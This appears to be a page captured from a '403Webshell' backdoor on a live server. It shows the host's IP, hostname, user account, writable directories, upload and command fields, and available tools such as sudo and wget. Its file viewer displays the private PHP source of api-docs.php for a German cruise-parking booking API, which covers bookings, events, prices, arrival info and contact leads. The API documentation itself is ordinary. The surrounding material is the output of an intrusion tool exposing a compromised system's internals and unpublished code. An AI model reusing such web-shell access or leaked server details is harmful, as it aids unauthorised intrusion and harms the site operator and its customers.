403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web//api-docs.php
<?php
/**
 * api-docs.php – Optisch ansprechende, eigenständige Dokumentation der öffentlichen API (/api.php).
 * Datengetrieben: Endpunkt-Spezifikation unten -> gerendert. SITE_URL + Scopes dynamisch.
 */
require_once( __DIR__ . '/includes/config.inc.php' );
$BASE   = SITE_URL . '/api.php';
$SCOPES = class_exists( 'apikeys' ) ? apikeys::scopes() : array();

/* Endpunkt-Spezifikation: [method, resource, action, scope, beschreibung, params[], request, response] */
$groups = array(
  'Buchungen' => array(
    array( 'GET', 'booking', 'get', 'read_booking', 'Buchung samt Kunde, Rechnung und Positionen abrufen. Enthält den Kunden-/Partner-Hinweis <code>hint</code> sowie den Storno-Status: <code>cancelled</code> (true/false) und <code>status</code> (active | cancelled). <strong>Buchungen mit Anreise heute oder in der Vergangenheit werden NICHT mehr ausgeliefert</strong> → HTTP&nbsp;403 <code>{ok:false,error:"booking_past"}</code>.',
      array( array('invoice_id','integer','ja','Rechnungs-ID') ),
      "curl -H \"Authorization: Bearer pak_…\" \\\n  \"$BASE?resource=booking&action=get&invoice_id=12\"",
      "{\n  \"ok\": true,\n  \"invoice\":   { \"invoice_id\": 12, \"invoice_no\": \"PAS128\", \"invoice_price\": \"60.00\", \"invoice_status\": 0, … },\n  \"customer\":  { \"customer_id\": 12, \"customer_lastname\": \"…\", \"customer_email\": \"…\", … },\n  \"bookings\":  [ { \"booking_id\": 31, \"booking_no\": \"26-…\", \"booking_begin\": \"…\", … } ],\n  \"positions\": [ { \"product_id\": 1, \"invoice_pos_title\": \"Hallenparkplatz\", \"invoice_pos_price\": \"…\", \"invoice_pos_quantity\": 1 } ],\n  \"hint\": \"Bitte Stellplatz nahe Ausgang.\",\n  \"cancelled\": false,\n  \"status\": \"active\",            // active | cancelled (storniert)\n  \"files\": {\n    \"booking_confirmation\": \"$BASE?resource=booking&action=file&type=booking&invoice_id=12\",\n    \"invoice\":              \"$BASE?resource=booking&action=file&type=invoice&invoice_id=12\"\n  }\n}" ),
    array( 'GET', 'booking', 'file', 'read_booking', 'Buchungsbestätigung oder Rechnung als PDF (wird als Datei gestreamt). <code>invoice_id</code> akzeptiert auch eine <code>booking_id</code> (aus booking/find) – sie wird intern auf die zugehörige Rechnung gemappt. <code>type=booking</code> liefert immer die Buchungsbestätigung (auch ohne Rechnung); <code>type=invoice</code> antwortet mit HTTP&nbsp;404 <code>{ok:false,error:"no_document"}</code>, solange keine Rechnungsnummer vergeben ist. Unbekannte ID → HTTP&nbsp;404 <code>not_found</code>. Anreise heute/in der Vergangenheit → HTTP&nbsp;403 <code>booking_past</code> (kein Download mehr).',
      array( array('invoice_id','integer','ja','Rechnungs-ID ODER booking_id (aus booking/find)'), array('type','string','nein','booking (Standard) oder invoice'), array('edit_hash','string','empfohlen','Capability-Token aus booking/find; wird es mitgeschickt und passt nicht zur Buchung → HTTP 403 invalid_hash'), array('download','integer','nein','1 = als Anhang herunterladen'), array('Hinweis','—','—','Mit gültigem edit_hash ist der Download AUCH OHNE API-Key möglich (direkter Kunden-Download-Link; gilt nur für action=file).') ),
      "curl -H \"Authorization: Bearer pak_…\" \\\n  \"$BASE?resource=booking&action=file&type=invoice&invoice_id=114943&download=1&edit_hash=df59…0018\" -o rechnung.pdf",
      "Content-Type: application/pdf  (Binärdaten)\n// falscher edit_hash:        HTTP 403  { \"ok\": false, \"error\": \"invalid_hash\" }\n// keine Rechnung (type=invoice): HTTP 404  { \"ok\": false, \"error\": \"no_document\" }\n// unbekannte ID:             HTTP 404  { \"ok\": false, \"error\": \"not_found\" }" ),
    array( 'GET', 'booking', 'find', 'read_booking', 'Buchung per Buchungsnummer + Nachname suchen (Kunden-Login). Exakter Treffer auf booking_no UND (case-insensitive) Nachname des Kontakts. Bei „nicht gefunden" ODER falschem Namen: HTTP 200 mit {ok:false,error:"not_found"} (gleicher Fehler aus Sicherheitsgründen). booking.begin/end = tatsächlich gebuchter Reisezeitraum (bevorzugt verwenden); event.* nur, wenn ein Termin EXAKT zur Buchung passt (sonst event_id=null, event.begin/end fällt auf die Buchungsdaten zurück, ship_id/ship_name bleiben gefüllt). has_invoice = true NUR wenn eine tatsächlich herunterladbare Rechnung existiert (Rechnungsnummer vergeben); invoice_id ist nur die Download-Ziel-ID für file?type=invoice. <strong>Anreise heute/in der Vergangenheit → {ok:false,error:"booking_past"}</strong> (Buchung wird nicht mehr ausgeliefert). <strong>Stornierte Buchungen</strong> werden zurückgegeben; das <code>booking</code>-Objekt enthält <code>cancelled</code> (bool) bzw. <code>status:"cancelled"</code>, <code>storno_mail_sent</code> (bool – true, sobald dem Kunden eine Storno-Mail zugegangen/erzeugt wurde) und optional <code>cancelled_at</code> (Zeitpunkt der Storno-Mail, <code>YYYY-MM-DD HH:MM:SS</code>). Eine stornierte Buchung MIT bereits zugegangener Storno-Mail wird auch dann geliefert, wenn die Anreise in der Vergangenheit liegt (die Zeit-Sperre <code>booking_past</code> wird übersprungen), damit die „Buchung storniert"-Ansicht erscheinen kann; OHNE Storno-Mail bleibt die Zeit-Sperre bestehen (die Stornierung wird dem Kunden nicht offenbart).',
      array(
        array('booking_no','string','ja','Buchungsnummer'),
        array('lastname','string','ja','Nachname des Kontakts (case-insensitive)'),
      ),
      "curl -H \"Authorization: Bearer pak_…\" \\\n  \"$BASE?resource=booking&action=find&booking_no=26-17381&lastname=Mustermann\"",
      "{\n  \"ok\": true,\n  \"booking\": {\n    \"booking_id\": 114690, \"invoice_id\": 122661, \"has_invoice\": true, \"cancelled\": false, \"status\": \"active\", \"booking_no\": \"26-17381\", \"edit_hash\": \"…32 Hex…\",\n    \"begin\": \"2026-07-03\", \"end\": \"2026-07-08\",   // tatsächlich gebuchter Reisezeitraum (Buchungs-Ebene)\n    \"car\": \"car\", \"license_plate\": \"HRO-AB 123\", \"persons\": 2,\n    \"hint\": \"Bitte Stellplatz nahe Ausgang, reise mit Hund.\",\n    \"checkin\": \"2026-07-03 11:00:00\", \"type\": 2, \"valet\": 0,\n    \"event\":   { \"event_id\": 1152, \"ship_id\": 2, \"ship_name\": \"AIDAmar\", \"begin\": \"2026-07-03\", \"end\": \"2026-07-08\", \"indoor\": 4, \"outdoor\": 24, \"valet\": 5 },\n    \"customer\":{ \"firstname\": \"Max\", \"lastname\": \"Mustermann\", \"email\": \"…\", \"phone\": \"…\", \"company\": \"\" },\n    \"address\": { \"street\": \"…\", \"zip\": \"…\", \"city\": \"…\", \"country\": \"DE\" },\n    \"products\":[ { \"pacim_id\": 2, \"name\": \"Außenstellplatz\", \"unit_price\": 60.00, \"quantity\": 1 } ]\n  }\n}\n// nicht gefunden / Name falsch: { \"ok\": false, \"error\": \"not_found\" }  (HTTP 200)" ),
    array( 'POST', 'booking', 'create', 'edit_booking', 'Neue Buchung anlegen – legt Kunde, Rechnung und Positionen in einer Transaktion an. Preise werden automatisch berechnet (optional per „price“ überschreibbar, netto). <strong>Wird KEINE booking_no mitgesendet (z. B. Website-Buchungsmaske), vergibt das System automatisch einen eindeutigen 6-stelligen Buchungscode (booking_no) UND ein frisches 32-stelliges edit_hash.</strong> Wird eine booking_no mitgesendet (z. B. WordPress-Shop), wird diese übernommen; ein mitgesendetes edit_hash wird gespeichert, sonst deterministisch berechnet. Für Zusatzfahrzeuge parent_booking_id setzen → Event/Termin + Anschrift werden übernommen.',
      array(
        array('edit_hash','string','nein','Eigenes 32-stelliges Capability-Token (z. B. von WordPress). Wird gespeichert. OHNE Angabe (und ohne booking_no) erzeugt das CRM selbst ein frisches Token und gibt es zurück.'),
        array('hint','string','nein','Freitext-Hinweis des Kunden/Partners zur Buchung (longtext), als <strong>Top-Level-Feld</strong> senden. Toleriert auch <code>note</code> (Alias) oder verschachtelt <code>customer.hint</code>. Wird in der Antwort zur Kontrolle zurückgegeben; per booking/update änderbar; in booking/get & booking/find enthalten.'),
        array('customer','object','ja','{ gender, firstname, lastname, company, street, zip|zipcode (PLZ), city, country, phone, email }. gender: 3 = Rechnung auf Firma (company als Empfänger), 0 = Privatperson, 1/2 = Herr/Frau.'),
        array('gender','integer','nein','Top-Level-Alias zu customer.gender (3 = Rechnung auf Firma, 0 = Privat). Beide Stellen werden akzeptiert.'),
        array('address','object','nein','Anschrift alternativ als Top-Level-Objekt { street, zip, city, country, company } – wird in customer.* übernommen (G6).'),
        array('begin','date','ja','Reisebeginn YYYY-MM-DD'),
        array('end','date','ja','Reiseende YYYY-MM-DD'),
        array('type','integer','ja','1 = Halle, 2 = Außen'),
        array('plate','string','nein','Kfz-Kennzeichen'),
        array('event','string','nein','Schiff/Event-Name'),
        array('event_id','integer','nein*','Termin-ID (event_calendar_id). *Fehlt/0 → via parent_booking_id von der Eltern-Buchung übernommen.'),
        array('parent_booking_id','integer','nein','Ausgangsbuchung für ein Zusatzfahrzeug: erbt Event/Termin (wenn event_id fehlt/0) UND die Rechnungsanschrift (wenn keine Adresse im Request).'),
        array('products / extras','array','nein','Zusatzprodukt-IDs (≥ 3)'),
        array('guests','integer','nein','Anzahl Gäste'),
        array('checkin','string','nein','Check-in-Uhrzeit HH:MM'),
        array('car','string','nein','car | transporter | camper(=ID 3) | trailercar(=ID 9)'),
        array('valet','boolean','nein','VALET-Transfer (Produkt 8) hinzufügen'),
        array('booking_no','string','nein','Eigene Buchungsnummer (z. B. Shop). Übernommen; idempotent bei Wiederholung → bestehende Buchung inkl. edit_hash. OHNE Angabe → automatischer 6-stelliger Buchungscode.'),
        array('price','number','nein','Manueller Brutto-Preis (überschreibt Berechnung)'),
        array('source','string','nein','Buchungsquelle (z. B. Parken-am-Schiff.de)'),
      ),
      "curl -X POST -H \"Authorization: Bearer pak_…\" -H \"Content-Type: application/json\" \\\n  \"$BASE?resource=booking&action=create\" -d '{\n    \"customer\": { \"firstname\": \"Max\", \"lastname\": \"Mustermann\", \"email\": \"max@example.com\", \"street\": \"Musterstr. 1\", \"zip\": \"18119\", \"city\": \"Rostock\" },\n    \"begin\": \"2026-08-10\", \"end\": \"2026-08-17\", \"type\": 2, \"car\": \"car\",\n    \"plate\": \"HRO-AB123\", \"checkin\": \"12:00\", \"guests\": 2, \"extras\": [7],\n    \"hint\": \"Bitte Stellplatz nahe Ausgang, reise mit Hund.\"\n  }'\n// booking_no/edit_hash NICHT mitsenden -> werden automatisch vergeben.",
      "{ \"ok\": true, \"invoice_id\": 122661, \"booking_id\": 114690, \"booking_no\": \"462CTA\", \"edit_hash\": \"…32 hex…\", \"hint\": \"Bitte Stellplatz nahe Ausgang.\",\n  \"files\": {\n    \"booking_confirmation\": \"$BASE?resource=booking&action=file&invoice_id=122661&edit_hash=…&type=booking&download=1\",\n    \"invoice\":              \"$BASE?…&type=invoice&download=1\"\n  } }\n// booking_no = 6-stelliger Buchungscode; edit_hash = Capability-Token.\n// files.* sind direkte Download-Links (mit gültigem edit_hash auch ohne API-Key aufrufbar).\n// Wiederholung mit gleicher booking_no: { …, \"idempotent\": true }" ),
    array( 'POST', 'booking', 'update', 'edit_booking', 'Bestehende Buchung aktualisieren (nur übergebene Felder). type/valet/extras bauen die Positionen neu auf; ohne mitgesendeten „price“ wird der Rechnungsbetrag serverseitig neu berechnet. Vor-/Nachname sind NICHT änderbar (firstname/lastname werden ignoriert). Fehlercodes: invalid_checkin, invalid_car, invalid_type, invalid_combination, invalid_hash.',
      array(
        array('booking_id','integer','ja','Buchungs-ID'),
        array('edit_hash','string','empfohlen','Capability-Token aus booking/find; falsch → HTTP 403 invalid_hash'),
        array('begin / end','date','nein','Reisezeitraum (Stellplatzpreis wird nach Dauer neu berechnet)'),
        array('plate / event / event_id / guests','—','nein','Buchungsfelder'),
        array('hint','string','nein','Freitext-Hinweis des Kunden/Partners ändern (longtext).'),
        array('type','integer','nein','Stellplatz-Wechsel: 1 = Halle, 2 = Außen (Position & Preis werden getauscht)'),
        array('valet','boolean','nein','Transfer: VALET (Produkt 8) hinzu (1) / Shuttle (0)'),
        array('extras','int[]','nein','VOLLSTÄNDIGE Soll-Liste der Zusatzprodukt-IDs (idempotent): nicht enthaltene werden entfernt, neue hinzugefügt. [] = alle Extras entfernen. VALET wird über „valet“ gesteuert.'),
        array('checkin','string','nein','Check-in-Uhrzeit HH:MM'),
        array('car','string','nein','car | transporter | camper(=ID 3) | trailercar(=ID 9) – alternativ zu extras'),
        array('customer','object','nein','Änderbar: gender, company, street, zip|zipcode (PLZ), city, country, phone, email. gender 3 = Rechnung auf Firma, 0 = Privat. NICHT änderbar: firstname/lastname.'),
        array('gender','integer','nein','Top-Level-Alias zu customer.gender (3 = Rechnung auf Firma, 0 = Privat).'),
        array('address','object','nein','Adresse alternativ verschachtelt: { street, zip, city, country, company } – wird wie customer.* übernommen (z. B. address.zip = PLZ).'),
        array('paid','boolean','nein','Zahlung als erhalten markieren'),
        array('price','number','nein','Manueller Brutto-Preis (überschreibt die automatische Neuberechnung)'),
      ),
      "curl -X POST -H \"Authorization: Bearer pak_…\" -H \"Content-Type: application/json\" \\\n  \"$BASE?resource=booking&action=update\" -d '{\n    \"booking_id\": 114690, \"type\": 2, \"valet\": true, \"extras\": [4, 5],\n    \"hint\": \"Geänderter Hinweis – Anhänger statt Hund.\",\n    \"address\": { \"street\": \"Musterstr. 1\", \"zip\": \"18119\", \"city\": \"Rostock\", \"country\": \"DE\" }\n  }'",
      "{ \"ok\": true, \"booking_id\": 114690, \"invoice_price\": 302.52 }\n// Wohnmobil/Gespann + Halle bzw. + VALET: HTTP 422 { \"ok\": false, \"error\": \"invalid_combination\" }" ),
    array( 'POST', 'booking', 'cancel', 'edit_booking', 'Buchung stornieren (Status storniert). Idempotent (already_cancelled), not_found bei unbekannter ID, invalid_hash bei falschem edit_hash. notify=true löst die Storno-Mail-Regel aus.',
      array(
        array('booking_id','integer','ja','Buchungs-ID'),
        array('edit_hash','string','empfohlen','Capability-Token aus booking/find; falsch → HTTP 403 invalid_hash'),
        array('reason','string','nein','Stornogrund (frei)'),
        array('notify','boolean','nein','Storno-Bestätigung per E-Mail senden'),
      ),
      "curl -X POST -H \"Authorization: Bearer pak_…\" -H \"Content-Type: application/json\" \\\n  \"$BASE?resource=booking&action=cancel\" -d '{ \"booking_id\": 114690, \"reason\": \"customer_request\", \"notify\": true }'",
      "{ \"ok\": true, \"booking_id\": 114690, \"cancelled_at\": \"2026-06-19 10:12:00\" }" ),
    array( 'POST', 'booking', 'request-period', 'edit_booking', 'Unverbindliche Anfrage für einen abweichenden Reisezeitraum (ändert die Buchung NICHT; Backoffice genehmigt/lehnt ab). Der neue Brutto-Preis für den Wunschzeitraum wird sofort berechnet und in der Antwort (price) zurückgegeben. Fehlercodes invalid_period (end ≤ begin / ungültig), invalid_checkin, invalid_hash, not_found.',
      array(
        array('booking_id','integer','ja','Buchungs-ID'),
        array('edit_hash','string','empfohlen','Capability-Token aus booking/find; falsch → HTTP 403 invalid_hash'),
        array('begin','date','ja','Wunsch-Anreise YYYY-MM-DD'),
        array('end','date','ja','Wunsch-Abreise YYYY-MM-DD (nach begin)'),
        array('checkin','string','nein','Gewünschte abweichende Check-In-Uhrzeit HH:MM (z. B. 10:30). Leer = keine Zeit-Änderung.'),
        array('note','string','nein','Anmerkung des Gastes'),
      ),
      "curl -X POST -H \"Authorization: Bearer pak_…\" -H \"Content-Type: application/json\" \\\n  \"$BASE?resource=booking&action=request-period\" -d '{ \"booking_id\": 114690, \"begin\": \"2026-08-10\", \"end\": \"2026-08-20\", \"checkin\": \"10:30\", \"note\": \"Einen Tag früher anreisen.\" }'",
      "{ \"ok\": true, \"request_id\": 5512, \"status\": \"pending\", \"checkin\": \"10:30\", \"price\": 180.00 }  // price = Brutto für den Wunschzeitraum" ),
    array( 'GET', 'booking', 'period-requests', 'read_booking', 'Zeitraum-Anfragen einer Buchung samt Status & Entscheidung (für die Gast-Anzeige in WordPress). booking_id + edit_hash; fremde/falsche → not_found bzw. invalid_hash.',
      array(
        array('booking_id','integer','ja','Buchungs-ID'),
        array('edit_hash','string','empfohlen','Capability-Token aus booking/find; falsch → HTTP 403 invalid_hash'),
      ),
      "curl -H \"Authorization: Bearer pak_…\" \\\n  \"$BASE?resource=booking&action=period-requests&booking_id=114690&edit_hash=df59…0018\"",
      "{\n  \"ok\": true,\n  \"requests\": [\n    { \"id\": 5512, \"begin\": \"2026-08-10\", \"end\": \"2026-08-20\", \"checkin\": \"10:30\", \"price\": 180.00,\n      \"note\": \"Einen Tag früher.\", \"status\": \"approved\",\n      \"decision_note\": \"Gerne bestätigt.\", \"staff_name\": \"M. Mustermann\", \"decided_at\": \"2026-06-19 10:30:00\" }\n  ]\n}" ),
  ),
  'Schiffe & Termine' => array(
    array( 'GET', 'event', 'ships', 'read_event', 'Liste aller Schiffe (eindeutige Namen) mit Anzahl Termine.',
      array(),
      "curl -H \"Authorization: Bearer pak_…\" \"$BASE?resource=event&action=ships\"",
      "{ \"ok\": true, \"ships\": [ { \"ship\": \"AIDAmar\", \"cruise_id\": null, \"dates\": 12 }, … ] }" ),
    array( 'GET', 'event', 'list', 'read_event', 'Termine auflisten – optional je Schiff und/oder Zeitraum.',
      array( array('ship','string','nein','Schiffsname (exakt)'), array('from','date','nein','ab Datum YYYY-MM-DD'), array('to','date','nein','bis Datum YYYY-MM-DD'), array('active','integer','nein','1 = nur aktive') ),
      "curl -H \"Authorization: Bearer pak_…\" \\\n  \"$BASE?resource=event&action=list&ship=AIDAmar&from=2026-06-15&active=1\"",
      "{ \"ok\": true, \"events\": [ { \"id\": 1149, \"ship\": \"AIDAmar\", \"organizer\": \"AIDA Cruises\", \"begin\": \"2026-06-16 10:30:00\", \"end\": \"…\", \"indoor\": 5, \"outdoor\": 30, \"valet\": 5, \"active\": 1 }, … ] }" ),
    array( 'GET', 'event', 'upcoming', 'read_event', 'Kommende Termine: OHNE ship_id alle aktiven Schiffe → ihre noch nicht stattgefundenen Termine (gruppiert). MIT ship_id zusätzlich coming (nur falls vorhanden) + die letzten 10 vergangenen Termine (done). Nur aktive Termine.',
      array( array('ship_id','string','nein','Schiffsname (z. B. AIDAmar). Ohne Angabe: alle Schiffe.') ),
      "# alle Schiffe -> kommende Termine\ncurl -H \"Authorization: Bearer pak_…\" \"$BASE?resource=event&action=upcoming\"\n\n# ein Schiff -> coming + letzte 10 (done)\ncurl -H \"Authorization: Bearer pak_…\" \"$BASE?resource=event&action=upcoming&ship_id=AIDAmar\"",
      "// ohne ship_id (je Schiff: company + events):\n{ \"ok\": true, \"ships\": {\n    \"AIDAmar\":      { \"company\": \"AIDA Cruises\", \"events\": [ { \"id\": 1149, \"ship\": \"AIDAmar\", \"company\": \"AIDA Cruises\", \"begin\": \"2026-06-16 10:30:00\", … } ] },\n    \"MSC Magnifica\": { \"company\": \"MSC Cruises\", \"events\": [ … ] }\n} }\n\n// mit ship_id=AIDAmar:\n{ \"ok\": true, \"ship\": \"AIDAmar\", \"company\": \"AIDA Cruises\",\n  \"coming\": [ { \"id\": 1149, \"begin\": \"2026-06-16 10:30:00\", … } ],\n  \"done\":   [ { \"id\": 1101, \"begin\": \"2026-06-11 10:30:00\", … } ]   // max. 10\n}" ),
    array( 'GET', 'event', 'get', 'read_event', 'Einzelnen Termin abrufen.',
      array( array('id','integer','ja','Termin-ID') ),
      "curl -H \"Authorization: Bearer pak_…\" \"$BASE?resource=event&action=get&id=1149\"",
      "{ \"ok\": true, \"event\": { \"event_calendar_id\": 1149, \"event_calendar_title\": \"AIDAmar\", … } }" ),
    array( 'POST', 'event', 'save', 'edit_event', 'Termin anlegen (ohne id) oder aktualisieren (mit id).',
      array( array('id','integer','nein','vorhanden = Update'), array('ship','string','ja*','Schiffsname (*bei Anlage)'), array('begin','datetime','ja*','Beginn (*bei Anlage)'), array('end','datetime','nein','Ende'), array('cruise_id','string','nein','Cruise-ID'), array('indoor / outdoor / valet','integer','nein','Stellplätze'), array('organizer_id','integer','nein','Veranstalter-ID'), array('active','boolean','nein','aktiv') ),
      "curl -X POST -H \"Authorization: Bearer pak_…\" -H \"Content-Type: application/json\" \\\n  \"$BASE?resource=event&action=save\" -d '{ \"ship\": \"AIDAmar\", \"begin\": \"2026-09-01 08:00:00\", \"indoor\": 10, \"outdoor\": 40 }'",
      "{ \"ok\": true, \"id\": 1250 }" ),
  ),
  'Produkte & Preise' => array(
    array( 'GET', 'product', 'list', 'read_product', 'Verfügbare Produkte mit Basispreis (netto) und Steuersatz.',
      array(),
      "curl -H \"Authorization: Bearer pak_…\" \"$BASE?resource=product&action=list\"",
      "{ \"ok\": true, \"products\": [ { \"product_id\": 1, \"product_title\": \"Hallenparkplatz\", \"product_price\": \"…\", \"product_tax\": 19 }, … ] }" ),
    array( 'GET', 'product', 'price', 'read_product', 'Preis für einen Zeitraum berechnen (Parkplatz + optionale Zusatzprodukte). Liefert Netto/Brutto, Dauer, Positionen und ggf. Provision.',
      array( array('begin','date','ja','von YYYY-MM-DD'), array('end','date','ja','bis YYYY-MM-DD'), array('type','integer','nein','1 = Halle (Standard), 2 = Außen'), array('products','array/csv','nein','Zusatzprodukt-IDs'), array('broker_id','integer','nein','für Provisionsberechnung') ),
      "curl -H \"Authorization: Bearer pak_…\" \\\n  \"$BASE?resource=product&action=price&type=1&begin=2026-07-01&end=2026-07-08\"",
      "{\n  \"ok\": true,\n  \"quote\": {\n    \"duration\": 7,\n    \"positions\": [ { \"product_id\": 1, \"title\": \"Hallenparkplatz\", \"net\": 105.04, \"qty\": 1 } ],\n    \"net\": 105.04, \"gross\": 125.00,\n    \"park_gross\": 125.00, \"addon_gross\": 0,\n    \"rate\": 10, \"addon_rate\": 5, \"commission\": 12.50\n  }\n}" ),
    array( 'GET', 'product', 'parking', 'read_product', 'Parkplatz-Preistabelle (Staffelung nach Tagen) je Stellplatz-Typ – wie auf der Preise-Seite. Brutto & Netto; die letzte Staffel ist ein Preis pro Tag.',
      array( array('year','integer','nein','Preisjahr (Standard: aktuelles Jahr; sonst neuestes verfügbares)') ),
      "curl -H \"Authorization: Bearer pak_…\" \\\n  \"$BASE?resource=product&action=parking&year=2026\"",
      "{\n  \"ok\": true,\n  \"year\": 2026,\n  \"parking\": [\n    {\n      \"product_id\": 1, \"type\": \"indoor\", \"title\": \"Hallenparkplatz\", \"tax\": 19,\n      \"tiers\": [\n        { \"from\": 1, \"to\": 3, \"per_day\": false, \"label\": \"1–3 Tage\", \"price_net\": 46.22, \"price_gross\": 55 },\n        { \"from\": 6, \"to\": 8, \"per_day\": false, \"label\": \"6–8 Tage\", \"price_net\": 105.04, \"price_gross\": 125 },\n        { \"from\": 21, \"to\": null, \"per_day\": true, \"label\": \"ab 21 Tage (pro Tag)\", \"price_net\": 5.88, \"price_gross\": 7 }\n      ]\n    },\n    { \"product_id\": 2, \"type\": \"outdoor\", \"title\": \"Außenparkplatz\", … }\n  ]\n}" ),
    array( 'POST', 'product', 'save', 'edit_product', 'Produkt/Preis aktualisieren. Mit „year“ wird ein jahresspezifischer Preis gesetzt.',
      array( array('product_id','integer','ja','Produkt-ID'), array('title','string','nein','Bezeichnung'), array('price','number','nein','Preis (netto)'), array('tax','integer','nein','Steuersatz %'), array('year','integer','nein','Jahr für jahresspezifischen Preis') ),
      "curl -X POST -H \"Authorization: Bearer pak_…\" -H \"Content-Type: application/json\" \\\n  \"$BASE?resource=product&action=save\" -d '{ \"product_id\": 3, \"price\": 25.00, \"year\": 2026 }'",
      "{ \"ok\": true, \"product_id\": 3 }" ),
  ),
  'Anreise-Infos' => array(
    array( 'GET', 'arrival-info', 'query', 'read_event', 'Passende, priorisierte Anreisehinweise für das Buchungsformular – gefiltert nach Schiff, Check-in-Uhrzeit und Parkplatztyp. Nur aktive Datensätze; Sortierung Priorität DESC, ID DESC. Antwortformat: success/count/items (für die direkte Frontend-Nutzung).',
      array(
        array('ship_id','integer','bedingt','Schiff-Stamm-ID (pacim_events_info.event_id)'),
        array('event_id','integer','bedingt','Termin-ID – wird zur ship_id aufgelöst, falls ship_id fehlt'),
        array('checkin_time','string','nein','Check-in-Uhrzeit HH:MM'),
        array('parking_type','string','nein','indoor | outdoor | valet | all'),
      ),
      "curl -H \"Authorization: Bearer pak_…\" \\\n  \"$BASE?resource=arrival-info&ship_id=3&checkin_time=10:30&parking_type=outdoor\"",
      "{\n  \"success\": true,\n  \"count\": 2,\n  \"items\": [\n    { \"id\": 12, \"title\": \"Frühe Anreise\", \"content\": \"<p>…</p>\",\n      \"ships\": [\"Regal Princess\"], \"ship_ids\": [3], \"all_ships\": false,\n      \"parking_type\": \"outdoor\", \"parking_type_label\": \"Außenparkplatz\",\n      \"time_from\": \"08:00\", \"time_to\": \"10:30\", \"no_time_limit\": false,\n      \"priority\": 100, \"active\": true },\n    { \"id\": 18, \"title\": \"Allgemeiner Hinweis\", \"content\": \"<p>…</p>\",\n      \"ships\": [], \"ship_ids\": [], \"all_ships\": true,\n      \"parking_type\": \"all\", \"parking_type_label\": \"Alle Parkplatztypen\",\n      \"time_from\": null, \"time_to\": null, \"no_time_limit\": true,\n      \"priority\": 10, \"active\": true }\n  ]\n}" ),
  ),
  'Kontaktformular' => array(
    array( 'POST', 'contact', 'create', 'edit_booking', 'Kontaktanfrage der Website (Kontaktseite / FAQ-Modal) als Lead im CRM anlegen – sichtbar & bearbeitbar im Backoffice unter „Anfragen" (Typ Kontaktformular). Robust gegen Doppelübermittlung: gleiche E-Mail + Nachricht innerhalb von 10 Minuten → kein Duplikat (bestehende ID + duplicate:true). Fehlercodes: missing_fields, invalid_email.',
      array(
        array('firstname','string','ja','Vorname des Absenders'),
        array('lastname','string','ja','Nachname des Absenders'),
        array('email','string','ja','E-Mail des Absenders (gültige Adresse)'),
        array('message','string','ja','Nachrichtentext (mehrzeilig möglich)'),
        array('ip_address','string','nein','IP-Adresse des Absenders (Spam-/Missbrauchs-Nachverfolgung)'),
        array('source','string','nein','Herkunft (Standard: website_contact_form)'),
        array('received_at','string','nein','Eingangszeitpunkt YYYY-MM-DD HH:MM:SS (Serverzeit der Website)'),
      ),
      "curl -X POST -H \"Authorization: Bearer pak_…\" -H \"Content-Type: application/json\" \\\n  \"$BASE?resource=contact&action=create\" -d '{\n    \"firstname\": \"Max\", \"lastname\": \"Mustermann\", \"email\": \"max@example.com\",\n    \"message\": \"Hallo, ich habe eine Frage zur Anfahrt …\",\n    \"ip_address\": \"203.0.113.7\", \"source\": \"website_contact_form\",\n    \"received_at\": \"2026-06-19 11:05:00\"\n  }'",
      "{ \"ok\": true, \"id\": 4711 }\n// Doppelübermittlung: { \"ok\": true, \"id\": 4711, \"duplicate\": true }\n// Pflichtfeld fehlt:  { \"ok\": false, \"error\": \"missing_fields\" }\n// ungültige E-Mail:   { \"ok\": false, \"error\": \"invalid_email\" }" ),
  ),
);

function h( $s ) { return htmlspecialchars( (string) $s, ENT_QUOTES, 'UTF-8' ); }
function slug( $r, $a ) { return h( $r . '-' . $a ); }
?>
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>PaCIM API – Dokumentation</title>
<style>
:root{ --bg:#f5f7fb; --card:#fff; --ink:#1e2633; --muted:#7e8896; --line:#e6eef4; --primary:#0b4677; --accent:#1a6bb0; --get:#1d9a4f; --post:#2563c9; --code:#0f1b2d; }
*{box-sizing:border-box}
body{margin:0;background:var(--bg);color:var(--ink);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;font-size:15px;line-height:1.6}
a{color:var(--accent);text-decoration:none}
code,kbd{font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace}
.topbar{background:linear-gradient(135deg,#0b4677,#1a6bb0);color:#fff;padding:34px 28px}
.topbar .wrap{max-width:1180px;margin:0 auto}
.topbar h1{margin:0 0 6px;font-size:26px;font-weight:700}
.topbar p{margin:0;opacity:.92}
.topbar .base{display:inline-flex;align-items:center;gap:8px;margin-top:14px;background:rgba(255,255,255,.14);border:1px solid rgba(255,255,255,.25);border-radius:8px;padding:8px 12px;font-family:ui-monospace,monospace;font-size:13px}
.layout{max-width:1180px;margin:0 auto;display:grid;grid-template-columns:240px 1fr;gap:28px;padding:28px}
.nav{position:sticky;top:20px;align-self:start;max-height:calc(100vh - 40px);overflow:auto}
.nav .grp{font-size:11px;text-transform:uppercase;letter-spacing:.5px;color:var(--muted);margin:16px 0 6px;font-weight:700}
.nav a{display:flex;align-items:center;gap:8px;padding:5px 8px;border-radius:7px;color:var(--ink);font-size:13.5px}
.nav a:hover{background:#eaf1f8}
.badge{display:inline-flex;align-items:center;justify-content:center;font-size:10px;font-weight:700;border-radius:5px;padding:2px 6px;color:#fff;min-width:38px}
.badge.GET{background:var(--get)} .badge.POST{background:var(--post)}
.intro,.endpoint{background:var(--card);border:1px solid var(--line);border-radius:14px;padding:22px 24px;margin-bottom:18px;box-shadow:0 1px 2px rgba(16,32,56,.04)}
.intro h2{margin:0 0 10px;font-size:19px}
.intro h3{margin:18px 0 8px;font-size:15px}
.intro p{margin:6px 0}
.scopes{width:100%;border-collapse:collapse;margin-top:6px}
.scopes td{padding:7px 10px;border-bottom:1px solid var(--line);vertical-align:top;font-size:14px}
